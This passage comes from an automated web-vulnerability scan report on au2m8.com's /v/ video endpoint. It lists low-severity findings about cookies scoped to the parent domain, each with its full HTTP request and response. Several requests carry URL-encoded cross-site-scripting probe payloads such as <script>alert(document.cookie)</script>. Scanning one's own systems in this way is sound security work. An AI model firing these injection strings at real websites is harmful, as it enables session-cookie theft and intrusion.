GET /v/?ps=26&cw=26263692aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E395e61b488b&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=26263692aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E395e61b488b&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; bpl1297002238=1296998638; videoID=expired; auto=expired; playlist=5731; j2playlist=4881; ARPT=NQJKKYS192.168.100.219CKOWU

Response

14.195. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297015062=1297011462; expires=Sun, 06-Feb-2011 17:57:42 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:57:42 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:57:42 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:57:42 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1&jr=2&jr=3&jr=4&jr=5&jr=6 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1&jr=2&jr=3&jr=4&jr=5
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:57:42 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:57:42 GMT
Last-Modified: Sun, 06 Feb 2011 16:57:42 GMT
Set-Cookie: bpl1297015062=1297011462; expires=Sun, 06-Feb-2011 17:57:42 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:57:42 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:57:42 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:57:42 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11319

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:57:42 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.196. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297014747=1297011147; expires=Sun, 06-Feb-2011 17:52:27 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:52:27 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:52:27 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:52:27 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1&jr=2&jr=3&jr=4&jr=5&jr=6 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1&jr=2&jr=3&jr=4&jr=5
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:52:27 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:52:27 GMT
Last-Modified: Sun, 06 Feb 2011 16:52:27 GMT
Set-Cookie: bpl1297014747=1297011147; expires=Sun, 06-Feb-2011 17:52:27 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:52:27 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:52:27 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:52:27 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11352

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:52:27 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.197. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012595=1297008995; expires=Sun, 06-Feb-2011 17:16:35 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:16:35 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:16:35 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:16:35 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=328905&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=912519&pr=www.kledy.it%2F&psource=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1&jr=1&jr=2&jr=3&jr=4 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=328905&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=912519&pr=www.kledy.it%2F&psource=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1&jr=1&jr=2&jr=3
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; bpl1297012564=1297008964; bpl1297012569=1297008969; bpl1297012579=1297008979; bpl1297012585=1297008985; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:16:35 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:16:35 GMT
Last-Modified: Sun, 06 Feb 2011 16:16:35 GMT
Set-Cookie: bpl1297012595=1297008995; expires=Sun, 06-Feb-2011 17:16:35 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:16:35 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:16:35 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:16:35 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11468

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:16:35 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.198. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297002333=1296998733; expires=Sun, 06-Feb-2011 14:25:33 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 14:25:33 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 14:25:33 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 13:25:33 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=26263692aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E395e61b488b&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3&jr=4&jr=5 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=26263692aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E395e61b488b&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3&jr=4
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; bpl1297002238=1296998638; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297002287=1296998687; bpl1297002302=1296998702; bpl1297002318=1296998718; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=4881

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 13:25:33 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 13:25:33 GMT
Last-Modified: Sun, 06 Feb 2011 13:25:33 GMT
Set-Cookie: bpl1297002333=1296998733; expires=Sun, 06-Feb-2011 14:25:33 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 14:25:33 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 14:25:33 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 13:25:33 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11521

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 13:25:33 GMT">
    <title>Facebook Tutorial </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.199. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297014687=1297011087; expires=Sun, 06-Feb-2011 17:51:27 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:51:27 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:51:27 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:51:27 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47865&pID=11909&skinName=light&t=774602&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://files.video-loader.com/au2m8_preloader/10711909126097144647865.htm?vs=1&r=www.kledy.es%2F&s=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&t=300229
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:51:27 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:51:27 GMT
Last-Modified: Sun, 06 Feb 2011 16:51:27 GMT
Set-Cookie: bpl1297014687=1297011087; expires=Sun, 06-Feb-2011 17:51:27 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:51:27 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:51:27 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:51:27 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11233

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:51:27 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.200. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297014662=1297011062; expires=Sun, 06-Feb-2011 17:51:02 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:51:02 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:51:02 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:51:02 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://files.video-loader.com/au2m8_preloader/37211909126091178247379.htm?vs=1&r=www.kledy.co.uk%2F&s=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&t=271024
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:51:02 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:51:02 GMT
Last-Modified: Sun, 06 Feb 2011 16:51:02 GMT
Set-Cookie: bpl1297014662=1297011062; expires=Sun, 06-Feb-2011 17:51:02 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:51:02 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:51:02 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:51:02 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11266

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:51:02 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.201. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297018236=1297014636; expires=Sun, 06-Feb-2011 18:50:36 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 18:50:36 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 18:50:36 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:50:36 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=328795&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=737579&pr=www.peppernews.eu%2F&psource=www.peppernews.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F96&poS=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Ef6336f06cd4%3D1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://files.video-loader.com/au2m8_preloader/798119091292066790328795.htm?vs=1&r=www.peppernews.eu%2F&s=www.peppernews.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F96&poS=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Ef6336f06cd4%3D1&t=690607
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; bpl1297012564=1297008964; bpl1297012569=1297008969; bpl1297012579=1297008979; bpl1297012585=1297008985; bpl1297012595=1297008995; bpl1297012601=1297009001; bpl1297012610=1297009010; bpl1297012620=1297009020; bpl1297012626=1297009026; bpl1297012636=1297009036; bpl1297012651=1297009051; bpl1297012667=1297009067; bpl1297016038=1297012438; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:50:36 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 17:50:36 GMT
Last-Modified: Sun, 06 Feb 2011 17:50:36 GMT
Set-Cookie: bpl1297018236=1297014636; expires=Sun, 06-Feb-2011 18:50:36 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 18:50:36 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 18:50:36 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:50:36 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11373

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 17:50:36 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.202. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012352=1297008752; expires=Sun, 06-Feb-2011 17:12:32 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:12:32 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:12:32 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:12:32 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://files.video-loader.com/au2m8_preloader/10711909126097144647865.htm?vs=1&r=www.kledy.es%2F&s=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&t=143521
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:12:32 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:12:32 GMT
Last-Modified: Sun, 06 Feb 2011 16:12:32 GMT
Set-Cookie: bpl1297012352=1297008752; expires=Sun, 06-Feb-2011 17:12:32 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:12:32 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:12:32 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:12:32 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11233

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:12:32 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

